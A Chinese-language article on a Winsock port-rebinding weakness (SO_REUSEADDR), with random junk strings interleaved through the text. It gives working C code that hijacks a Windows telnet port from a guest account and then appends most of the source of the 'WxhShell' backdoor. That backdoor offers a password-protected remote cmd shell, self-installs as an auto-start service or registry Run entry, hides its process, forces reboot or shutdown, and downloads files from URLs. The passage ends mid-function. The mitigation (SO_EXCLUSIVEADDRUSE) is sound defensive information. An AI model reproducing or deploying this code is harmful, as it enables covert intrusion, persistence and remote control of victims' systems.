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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >,zU=I?9Y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )M7yj O! ,DHH5sDCn saddr.sin_family = AF_INET; ,~$sJ2
g7 1H">Rb30@ saddr.sin_addr.s_addr = htonl(INADDR_ANY); @)Vb?|3 %Jl6e}! bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -TH(Z(pB L=#B>Eu 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [%LGiCU] M1P;x._n 这意味着什么?意味着可以进行如下的攻击: NlhC7 }duqX R 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jm&[8ApW -+qg 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |a[ "
^
2 >nehyo:# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JK{2hr_a kQ\l7xd 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 L1lDDS# ;X;x.pi 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r!{i2I| :k_)Bh?+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 oVUsI,8 ?zsRs?rc0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kN<;*jHV ]_s;olKNI #include FLsJ<C~/~ #include Qe7
SH{ #include 5't9/8i #include 0:`YY8j1k DWORD WINAPI ClientThread(LPVOID lpParam); nF3Sfw, int main() k=Wt57jt { P-^-~/>n WORD wVersionRequested; p8s%bPjK DWORD ret; M?gZKdj WSADATA wsaData; #"C*dNAB BOOL val; 6>)KiigZ\ SOCKADDR_IN saddr; ]t17= Lr? SOCKADDR_IN scaddr; .aK=z) int err; <T'fJcR SOCKET s; "AWk
jdj SOCKET sc; `yhc,5M int caddsize; w3fD6$ HANDLE mt; jt @2S DWORD tid; e \kR/<L wVersionRequested = MAKEWORD( 2, 2 ); &&}c R:U, err = WSAStartup( wVersionRequested, &wsaData ); w3>G3=b if ( err != 0 ) { |~Awm" printf("error!WSAStartup failed!\n"); Xn!=/<TIVz return -1; Ex}TDmTu } *D7oHwDU saddr.sin_family = AF_INET; (d
<pxx N0
t26| A //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (Zy=e?E, A}"uEk(R saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4uVyf^f\]f saddr.sin_port = htons(23); el^<M,7! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1-! |_<EW1 { p7*7V.>X printf("error!socket failed!\n"); 9FT==> return -1; !<-+}X+o8$ } }u5J<*:bZ val = TRUE; Oo\~'I //SO_REUSEADDR选项就是可以实现端口重绑定的 4x/u$Ixzh= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +hWeN&A { xA}{ZnTbN printf("error!setsockopt failed!\n"); B)-P#,} return -1; D t]FmU } ?H!X
p //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WN#dR~> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ZQJh5.B //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j!"N Eh78H 1[dQVJqMp( if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PzLV}
{ z<<aT ret=GetLastError(); Nk>6:Ho{G printf("error!bind failed!\n"); *\wf(o>Q return -1; 5YiBw|Z7 " } j)O8&[y= listen(s,2); yj`xOncE} while(1) D-5~CK4` { VzFzVeJ caddsize = sizeof(scaddr); t== a(e //接受连接请求 z;i4F.p sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M Xl! if(sc!=INVALID_SOCKET) Hkj|
e6 { =0mGfTc mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {S5D~A*a+ if(mt==NULL) >5]w\^QN9_ { E{|n\| printf("Thread Creat Failed!\n"); |.U-
yyz break; 51M'x_8 } c\eT`.ENk } #*K!@X CloseHandle(mt); CW#$% } qfEB VS( closesocket(s); e?b<-rL
WSACleanup(); 04<T2)QgK return 0; QWxl$%`89< } jLf8 7 DWORD WINAPI ClientThread(LPVOID lpParam) ,k3aeM~`%w { &@xeWB SOCKET ss = (SOCKET)lpParam; SjOIln SOCKET sc; l{x?i00tAS unsigned char buf[4096]; Y3wL EG%,: SOCKADDR_IN saddr; qxW2q8QHo long num; Kx[z7]1@ DWORD val; ./;*LD DWORD ret;
cYEe`?* //如果是隐藏端口应用的话,可以在此处加一些判断 s97L/iH //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 RJI*ZNbA saddr.sin_family = AF_INET; u~d&<_Z saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zoBjrAyD saddr.sin_port = htons(23); TS<uBX if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ycx$CUC { *Cgd?*\7 printf("error!socket failed!\n"); M+TF0c return -1; }UWRH.;v } \ow0Y> val = 100; :O}<Q if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aw:0R=S,> { jNNl5. ret = GetLastError();
goT:\2 return -1; Cx/duodp } 7u^6`P if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $T0|zPK5 { !kfnqe?| ret = GetLastError(); W}1h~rNy return -1; g)iSC?H } CQ3{'"b if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8)k.lPoo. { ~dwl7Qc printf("error!socket connect failed!\n"); =kLg)a | closesocket(sc); {:enoV" closesocket(ss); !<2*B^
return -1; Ja#idF[V } hTn
}AsfLY while(1) (Qq$ql27 { a~~ "2LE` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q&
Vt* //如果是嗅探内容的话,可以再此处进行内容分析和记录 Dx[t?- //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L4;n$=e num = recv(ss,buf,4096,0); |R*fw(=W if(num>0) cY>;( x@ send(sc,buf,num,0); I$wP`gQh else if(num==0) [*>@hx break; TCF[iE{ num = recv(sc,buf,4096,0); m x,X!} if(num>0) "=f*Lk@[ send(ss,buf,num,0); <$njU=YE& else if(num==0) t@v>eb break; }RUC#aW1 } nhCB])u8l closesocket(ss); J= |[G' closesocket(sc); +dh]k=6 return 0 ; =C\S6bF% } |$b 4{ ~0 FqY&4 Il;'s ========================================================== "3j0) b8v$*{ 下边附上一个代码,,WXhSHELL f(n{7 #lLL5ji ========================================================== "iZ-AG!C "a"[B' #include "stdafx.h" ln=zGX.e v*BA\& #include <stdio.h> Iwn@%?7
#include <string.h> 8w*fg6,= #include <windows.h> *j*jA/ #include <winsock2.h> MA-$aN_( #include <winsvc.h> 9wb$_j]F`# #include <urlmon.h> sy@k3wQ n'h
)(^ #pragma comment (lib, "Ws2_32.lib") 7T2W%JT-, #pragma comment (lib, "urlmon.lib") MK[spV wFd*6% #define MAX_USER 100 // 最大客户端连接数 /w!' [ #define BUF_SOCK 200 // sock buffer *r%mqAx( #define KEY_BUFF 255 // 输入 buffer <zDe;& ~!nd'{{9 #define REBOOT 0 // 重启 Dps{[3Y+ #define SHUTDOWN 1 // 关机 Uq+
_#{2( 7kwG_0QO #define DEF_PORT 5000 // 监听端口 BA>0
+ |(H|2]b4= #define REG_LEN 16 // 注册表键长度 %!$-N!e #define SVC_LEN 80 // NT服务名长度 0,A?*CO D!sSe|sL^ // 从dll定义API %5KR}NXX6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &sNID4FR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); & T|-K\* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i-=ff typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eS=k 48'U y^Jv?`jw // wxhshell配置信息 i|O7nB@ struct WSCFG { z0UO<Y?9 int ws_port; // 监听端口 [uY2 Nh char ws_passstr[REG_LEN]; // 口令 ).boe& . int ws_autoins; // 安装标记, 1=yes 0=no C/vLEpP{(/ char ws_regname[REG_LEN]; // 注册表键名 ;'
W5|.ZN char ws_svcname[REG_LEN]; // 服务名 g|HrhUT; char ws_svcdisp[SVC_LEN]; // 服务显示名 F@lpjW char ws_svcdesc[SVC_LEN]; // 服务描述信息 bOdv]nQ1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rp|&1nS int ws_downexe; // 下载执行标记, 1=yes 0=no qR<DQTO< char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 3d<HIG^W} char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S- \lN| 3# (5Kco }; W9Lg}[>:) !U!E_D.O // default Wxhshell configuration vWovR` struct WSCFG wscfg={DEF_PORT, _Xv/S_yW "xuhuanlingzhe", F)5Aq H/p 1, 614/wI8( "Wxhshell", {4 d$]o0V "Wxhshell", A(p "WxhShell Service", -YyH"f "Wrsky Windows CmdShell Service", &NQR*Tn "Please Input Your Password: ", l1qwT0*6> 1, L
_y|l5 " http://www.wrsky.com/wxhshell.exe", 15:@pq\ "Wxhshell.exe" `6$b1qv, }; +"cyOC `VE&Obp[ // 消息定义模块 \KXEw2S char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IyN9
+ char *msg_ws_prompt="\n\r? for help\n\r#>"; @<=#i char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Kc\'s65.] char *msg_ws_ext="\n\rExit."; ;T+U&U0d| char *msg_ws_end="\n\rQuit."; TkoXzG8yE< char *msg_ws_boot="\n\rReboot..."; wT=hO+ char *msg_ws_poff="\n\rShutdown..."; 26VdRy{[ char *msg_ws_down="\n\rSave to "; Z^6(&Rh WGluY>C; char *msg_ws_err="\n\rErr!"; UeMe4$m char *msg_ws_ok="\n\rOK!"; JwtI(>cI da'E"HN@G~ char ExeFile[MAX_PATH]; AJd.K'=8 int nUser = 0; U(=9&c@] HANDLE handles[MAX_USER]; <&%1pZ/6. int OsIsNt; l1Q+hz5"*U PB67?d~ SERVICE_STATUS serviceStatus; 6CmFmc, SERVICE_STATUS_HANDLE hServiceStatusHandle; ,HkhK bQ >#U<# // 函数声明 /B\-DP3K int Install(void); u=}bq{ int Uninstall(void); ,wi=!KzX int DownloadFile(char *sURL, SOCKET wsh); `$SEkYdt int Boot(int flag); 3t{leuO' void HideProc(void); 4
6lEJ int GetOsVer(void); K!c@aD:# int Wxhshell(SOCKET wsl); H!.D2J void TalkWithClient(void *cs); kz;_f int CmdShell(SOCKET sock); 51 +M_~ int StartFromService(void); qZsddll int StartWxhshell(LPSTR lpCmdLine); h4\ 6h ~P#zhHw VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5 t`ap VOID WINAPI NTServiceHandler( DWORD fdwControl ); mhLRi\[c ) L##8+OJ.L // 数据结构和表定义 7$'mC9 SERVICE_TABLE_ENTRY DispatchTable[] = B4:l*P' { 71" JL", {wscfg.ws_svcname, NTServiceMain}, Ji:iKkI {NULL, NULL} }j(2Dl }; -y*_.Ws9 )Ct*G=
N // 自我安装 /3[9{r int Install(void) @fH&(@ { ^_KD&%M6 char svExeFile[MAX_PATH]; CTkN8{2S HKEY key; V}|v!h[O8 strcpy(svExeFile,ExeFile); 2vkB<[tSs ZutB_uW // 如果是win9x系统,修改注册表设为自启动 &u1g7#
# if(!OsIsNt) { ^'[@M'`~L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1.0!H.>q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `<}V
!Lo RegCloseKey(key); "?SOBA!vy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6Z7pztk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .K@x4
/1 RegCloseKey(key); 2yQ}Lxr( return 0; |N$?_<H } zzfn0g } 1n`1o-&l- } xEiX<lguyN else { ;sChxQ=.^ B8UZ9I$n // 如果是NT以上系统,安装为系统服务 M[K0t>ih SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [t.%baF if (schSCManager!=0) kWs+2j { .IH@_iX SC_HANDLE schService = CreateService '8l yj&
( H9~%#&fF schSCManager, Y%/ YFO2vb wscfg.ws_svcname, Be{/2jU% wscfg.ws_svcdisp, ?]W~ qgA SERVICE_ALL_ACCESS, g8,?S6\nMz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w*:GM8=6 SERVICE_AUTO_START, ;V~rWzKM( SERVICE_ERROR_NORMAL, $,KP]~? svExeFile, ;vJ\]T ml NULL, 7?MB8tJ5r4 NULL, /^'Bgnez NULL, x7.QL?qR. NULL, {Z#e{~m# NULL +5HnZ?E\ ); ^Ti_<<X if (schService!=0) KZF0rW { rBD(2M CloseServiceHandle(schService); gMs+?SNHAh CloseServiceHandle(schSCManager); *K(k Kph strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ufdl|smt1 strcat(svExeFile,wscfg.ws_svcname); ^sifEgG *d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <)O>MI'
4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `/O`OrZ1K RegCloseKey(key); ]cm6 |`pz return 0; <b d1 } 5LX8:~y } ]*N:;J CloseServiceHandle(schSCManager); <nWKR, } y?pD(u } F{k$Atb?g/ %MJL5 return 1; weAn&h| } qoj^_s6 Wy<[(Pd // 自我卸载
7%}ay int Uninstall(void) mn]-rTr { ZFS7{: HKEY key; 0K<x=-cCB (CdJ;-@D if(!OsIsNt) { z %x7fe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -2F@~m| RegDeleteValue(key,wscfg.ws_regname); |3}5:k RegCloseKey(key); 4YszVT-MU~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6M ^IwE RegDeleteValue(key,wscfg.ws_regname); ao#!7F RegCloseKey(key); ha*X6R return 0; AL$W +') } q|5Q?t:,r } ZJ;LD* } zv //K_ else { q-3]jHChh i+f7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b'i'GJBQ+$ if (schSCManager!=0) s]U4B<q { v"Me {+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pb#mg^8 if (schService!=0) XCDSmZ { _%Bz,C8 if(DeleteService(schService)!=0) { Sw)i1S9 CloseServiceHandle(schService); gv#4#] CloseServiceHandle(schSCManager); ?"6Ov ] return 0; $>*Yhz ` } e}A&V+ CloseServiceHandle(schService); wtXY:O } [*8Y'KX < CloseServiceHandle(schSCManager); \m4T3fy } "PMQyzl } P z ?m>># #^6^ return 1; !}y1CA } {Oj7 %j7:tf= // 从指定url下载文件 @%1IkvJV int DownloadFile(char *sURL, SOCKET wsh) ebC)H { r}_lxr HRESULT hr; GIT#<+" char seps[]= "/"; m@jge)O&D char *token; y,E.SB char *file; PWH^=K char myURL[MAX_PATH]; { p;shs5 char myFILE[MAX_PATH]; -/ +#5.`1 a?F!,=F strcpy(myURL,sURL); 03=5Nof1 token=strtok(myURL,seps); x5}lgyt while(token!=NULL) [dB$U}SEj { ;HNq>/{ file=token; a 7#J2 r token=strtok(NULL,seps); wpXgPVZT } s"%lFA"- !^w
E/ GetCurrentDirectory(MAX_PATH,myFILE); xCXQ<77 strcat(myFILE, "\\"); nv0#~UgE#a strcat(myFILE, file); {u"8[@@./ send(wsh,myFILE,strlen(myFILE),0); VT\"q1)p send(wsh,"...",3,0); .5w azvA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #Ex p51 if(hr==S_OK) <YB9Ac~}z return 0; :z&7W< else tF7hFL5f return 1; =2Cj,[$ k7@t{Cu0D& } I9?Ec6a_ 7B7&9<gc // 系统电源模块 ;"kaF! int Boot(int flag) a0=WfeT { LzML%J62 HANDLE hToken; nhT-Ido TOKEN_PRIVILEGES tkp; c9wfsapJ .ubE2X[ ][ if(OsIsNt) { EON:B>2a OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ICC%,$C~l LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !|
#83 tkp.PrivilegeCount = 1; t `kui. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1yQejw AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H[
m<RaG8 if(flag==REBOOT) { `R"~v/x if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rx0~`cVV: return 0; iK5_u2]Q } v&a4^s else { x3 > if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) asHxL! return 0; rG}\Zjn{ } #]P9b@@e } \C,p
WW else { c(#;_Ve2P if(flag==REBOOT) { <-'$~G j if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I,yC
D7l_ return 0; @$9'@") } ZJPmR/OV_ else { J(DN! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a2IgC25 return 0; +M'
H0-[ } 8N&+7FK } oVFnlA kF(n!2"W return 1; &>d:R_Q] } I/Jb!R ~ ?POUtRN // win9x进程隐藏模块 #Cpd9| void HideProc(void) ,XDRO./+T { Ym%xx!9 / 0 O=( HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pRkP~ZISU if ( hKernel != NULL ) {9UEq0 { 8NyJc"T<. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `]Q:-h ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^[:p|U2mA FreeLibrary(hKernel); )W/;=K } F*"}aP$ -py@DzK return; _ODbY;M } '%q$`KDb o2<#s)GpY // 获取操作系统版本 [w%
qV 6 int GetOsVer(void) hzk cP { 89r DyRJ; OSVERSIONINFO winfo; +$g}4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;L']e"G GetVersionEx(&winfo); (sh)TBb5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t+9][Adf return 1; tH-C8Qxy else /~zai} return 0; 0#nPbe,Lj } H1}
RWaJ @Y1s$,=xB // 客户端句柄模块 7(pF[LCF int Wxhshell(SOCKET wsl) O)[1x4U { ."9];)2rx SOCKET wsh; ~]QHk?[wc struct sockaddr_in client; #{?qNl8F*J DWORD myID; ZMel{w`n ax (c# while(nUser<MAX_USER) _H5o'>= { S:OO0<W int nSize=sizeof(client); %44leINx wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Evedc*z~P if(wsh==INVALID_SOCKET) return 1; B]Thn 0N$v"uX@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U|IzXQX( if(handles[nUser]==0) b:TLV`>/& closesocket(wsh); HhvdqvIEG else 7eAX*Kgt<_ nUser++; -4
SY=NC_ } 5yP\I+Fm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s+<Yg$) NA ~Vg8 return 0; *2,VyY } . QBF`Rz m)'=G%y // 关闭 socket 0"f\@8r( void CloseIt(SOCKET wsh) PamO8^!G { ;EP:o%r closesocket(wsh); (&F
,AY3A nUser--; cWe"%I ExitThread(0); ?gt l )q } 1=d6NX)B pSdI/Vj'= // 客户端请求句柄 ;z $(nhJ void TalkWithClient(void *cs) kY-N>E: { Ezd_`_@R paCV!tP SOCKET wsh=(SOCKET)cs; 4\8+9b\9" char pwd[SVC_LEN]; H[U!%Z char cmd[KEY_BUFF]; T?ZRiR)@ char chr[1]; Nh_Mz;ITuu int i,j; l)1r+@)\ Ac2n while (nUser < MAX_USER) { Lh!J > RAgg:3^ if(wscfg.ws_passstr) { wsI`fO^A8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &m)6J'q3k //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gG(fQ
89U" //ZeroMemory(pwd,KEY_BUFF); gd`!tRcNY i=0; +0nJ while(i<SVC_LEN) { 3TeY%5iVt 4;yKOQD| // 设置超时 P3+5?.p. fd_set FdRead; @tNz Q8 struct timeval TimeOut; ^/I
7|u] FD_ZERO(&FdRead); FWrX3i FD_SET(wsh,&FdRead); 6xTuNE1 TimeOut.tv_sec=8; 1\
o59Y TimeOut.tv_usec=0; =Y|VgV int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r*2+xDoEi if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p6>Svcc V5V
bJBpf if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gmw|H?] pwd =chr[0]; =.Pw`. if(chr[0]==0xd || chr[0]==0xa) { . qO@Q = pwd=0; H<i]V9r break; 6-N?mSQU } ;K:zmH i++; .sha& } s~ a"4~f U)fc*s // 如果是非法用户,关闭 socket [B\h$IcRv if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Lb:g4A" } *+Ek0M QwW&\h[8? send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LG{,c.Qj* send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N.,X<G.H t3 8m'J :> while(1) { D=j-!{zB 7zXvnxYE ZeroMemory(cmd,KEY_BUFF); o4G ?nvK- e'6/`Evqz // 自动支持客户端 telnet标准 [kVS
O j=0; ~7*.6YnI while(j<KEY_BUFF) { ##,a0s^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <=zQ NBtx cmd[j]=chr[0]; {f/~1G[M if(chr[0]==0xa || chr[0]==0xd) { }eCw6 cmd[j]=0; :C(=&g<]D break; RIWxs Zt } &N2N6&Ta/ j++; 6a(yp3 } Q|S.R1L^ g0xuxK;9c // 下载文件 l%k\JY- if(strstr(cmd,"http://")) { 9vuyv*-}e send(wsh,msg_ws_down,strlen(msg_ws_down),0); *'Sd/%8{ if(DownloadFile(cmd,wsh)) *v;2PP[^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); o5Dk:Bw else T,,WoPU8t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |s7s6k)mm } 7Haa;2
T' else { Q3kdlxXR }MJy
+Z8& switch(cmd[0]) { F+YZE[h% }*M6x;t // 帮助 ,Xu-@br{ case '?': { G,&<<2{(f; send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [^WC lRF break; j$M h+5 } RD!&LFz/} // 安装
: |>h7v case 'i': { xT3BHnQ( if(Install()) 3@etRd;]Kr send(wsh,msg_ws_err,strlen(msg_ws_err),0);
R5N%e%[ else VACQ+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .p<:II:6 break; {3|t;ZHk } r<9Iof4 // 卸载 C8J[Up case 'r': { @:oXN]+
_ if(Uninstall()) Yz<3JRw send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Qf/>@ l} else y_*
!6Xr send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %^?fMeI|Y break; /K+r?
]kf } AFq~QXmr) // 显示 wxhshell 所在路径 QE^$=\l0 case 'p': { D>`xzt '.6 char svExeFile[MAX_PATH]; 7BE>RE=) strcpy(svExeFile,"\n\r"); @CpfP;*{w` strcat(svExeFile,ExeFile); !O\82d1P send(wsh,svExeFile,strlen(svExeFile),0); ..IfP@ break; JgxtlYjl } R|6Cv3: // 重启 ] ]u
s % case 'b': { !]"@kl% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j
b!x: if(Boot(REBOOT))
|tKsgj send(wsh,msg_ws_err,strlen(msg_ws_err),0); 57'*w]4f else { +KF^Z$I closesocket(wsh); .eS<Dbku< ExitThread(0); [zH:1Zhl& } B al`y break; 4.k0< } qz"}g/;? // 关机 8+~
>E case 'd': { 1jx:;j send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5Y.)("1f}f if(Boot(SHUTDOWN)) `68@+|# send(wsh,msg_ws_err,strlen(msg_ws_err),0); ny]?I else { } +TORR? closesocket(wsh); )cX*I gO ExitThread(0); 4n#M } .r|tSfm6 break; _:ReN_0 } WQx?[tW(U // 获取shell g!FuY/%+ case 's': { OyStq i CmdShell(wsh); 0%32=k7O[ closesocket(wsh); u0}vWkn\4 ExitThread(0); ?so=;gh break; 6,^>mNm } 7!evm;A // 退出 gIo@Pm case 'x': { fZ6MSAh send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fnpYT:%fG
CloseIt(wsh); HSw;^E)1 break; _jvxc'6 } SU MrFd~ // 离开 '@a}H9>} case 'q': { I:E`PZ send(wsh,msg_ws_end,strlen(msg_ws_end),0); `:ArT}F closesocket(wsh); OstQqV%@ WSACleanup(); Ka'=o?'B5 exit(1); -m\u break; 1ufp qqk } ~Sdb_EZ } pD8+ 4;A } ! :Y:pu0 %gInje // 提示信息 3BzNi' if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EW}Bz h>b } cA&9e< } H!@kO]?n kc2PoJ return; imVo<Je7z( } #"}JdBn m1j*mtu // shell模块句柄 Av$]|b int CmdShell(SOCKET sock) DMs,y{v { k}S :RK STARTUPINFO si; oF vfCrd ZeroMemory(&si,sizeof(si)); u/UrAqw si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -Sqz5lo si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >R|/M`<ph PROCESS_INFORMATION ProcessInfo; 3t.l5m
Rg5 char cmdline[]="cmd"; ov|d^)' CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [m->5H return 0; oxr#7Ei0d } [RS|gem` IWk4&yHUAu // 自身启动模式 f@6QvkIa int StartFromService(void) \h+AXs<j { GmK^}=frj typedef struct .Q<>-3\K { 0`Kj25 DWORD ExitStatus; %J#YM'g DWORD PebBaseAddress; @<,X0S DWORD AffinityMask; Fzm*Pz3 DWORD BasePriority; n*o-Lo+Fe. ULONG UniqueProcessId; +u.1 ;qF ULONG InheritedFromUniqueProcessId; %Celc#v } PROCESS_BASIC_INFORMATION; o5d%w-' 4"GR]
X PROCNTQSIP NtQueryInformationProcess; K~uXO yZAS# ko}} static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u\a#{G;Z static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }pDqe;a{ (XVw"m/ye HANDLE hProcess; \Bz_p'[G PROCESS_BASIC_INFORMATION pbi; `K*Q5n [2>yYr s_= HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y>:N{| if(NULL == hInst ) return 0; >1s*
